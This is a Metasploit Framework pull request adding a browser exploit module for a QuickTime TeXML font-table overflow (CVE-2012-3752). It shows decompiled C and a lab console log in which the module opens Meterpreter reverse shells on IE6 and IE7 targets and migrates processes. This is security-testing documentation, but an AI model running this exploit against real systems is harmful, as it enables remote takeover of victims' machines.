rapid7/metasploit-framework — pull request #1091 by jvazquez-r7 (2012-11-22 18:59:14+00:00)
Title: add module for cve-2012-3752

Since quicktime checks for only numeric chars ('0'-'9') in the vulnerable (overflowing) values (font-table, font-size and line-height):

```c
int __fastcall sub_67EED2B0(int a1, int a2)
{
int result; // eax@1
unsigned __int8 v3; // cl@2

for ( result = 0; ; ++result )
{
v3 = *(_BYTE *)a2++ - 0x30;
if ( v3 > 9u )
break;
}
return result;
}
```

no dep-aslr has been possible atm, so only iE6-IE7 (XP, Vista) targets:

msf > use exploit/windows/browser/apple_quicktime_texml_font_table
msf exploit(apple_quicktime_texml_font_table) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.129:4444
[*] Using URL: http://0.0.0.0:8080/XUuUU8qAVP6von6
[*] Local IP: http://192.168.1.129:8080/XUuUU8qAVP6von6
[*] Server started.
msf exploit(apple_quicktime_texml_font_table) > [*] 192.168.1.131 apple_quicktime_texml_font_table - Target selected as: IE 7 on Windows Vista
[*] 192.168.1.131 apple_quicktime_texml_font_table - Sending initial HTML
[*] 192.168.1.131 apple_quicktime_texml_font_table - Target selected as: IE 7 on Windows Vista
[*] 192.168.1.131 apple_quicktime_texml_font_table - Sending exploit TEXML (target: IE 7 on Windows Vista)
[*] Sending stage (752128 bytes) to 192.168.1.131
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.131:50442) at 2012-11-22 19:26:22 +0100
[*] Session ID 1 (192.168.1.129:4444 -> 192.168.1.131:50442) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3696)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3880
[+] Successfully migrated to process

msf exploit(apple_quicktime_texml_font_table) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : WIN-16XSGUCUL9V
OS : Windows Vista (Build 6002, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.131 - Meterpreter session 1 closed. Reason: User exit
msf exploit(apple_quicktime_texml_font_table) >
[*] 192.168.1.140 apple_quicktime_texml_font_table - Target selected as: IE 6 on Windows XP SP3
[*] 192.168.1.140 apple_quicktime_texml_font_table - Sending initial HTML
[*] 192.168.1.140 apple_quicktime_texml_font_table - Target selected as: IE 6 on Windows XP SP3
[*] 192.168.1.140 apple_quicktime_texml_font_table - Sending exploit TEXML (target: IE 6 on Windows XP SP3)
[*] Sending stage (752128 bytes) to 192.168.1.140
[*] Meterpreter session 2 opened (192.168.1.129:4444 -> 192.168.1.140:1295) at 2012-11-22 19:29:27 +0100
[*] Session ID 2 (192.168.1.129:4444 -> 192.168.1.140:1295) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (3100)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 568
[+] Successfully migrated to process

msf exploit(apple_quicktime_texml_font_table) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer : MSFWORK2
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.140 - Meterpreter session 2 closed. Reason: User exit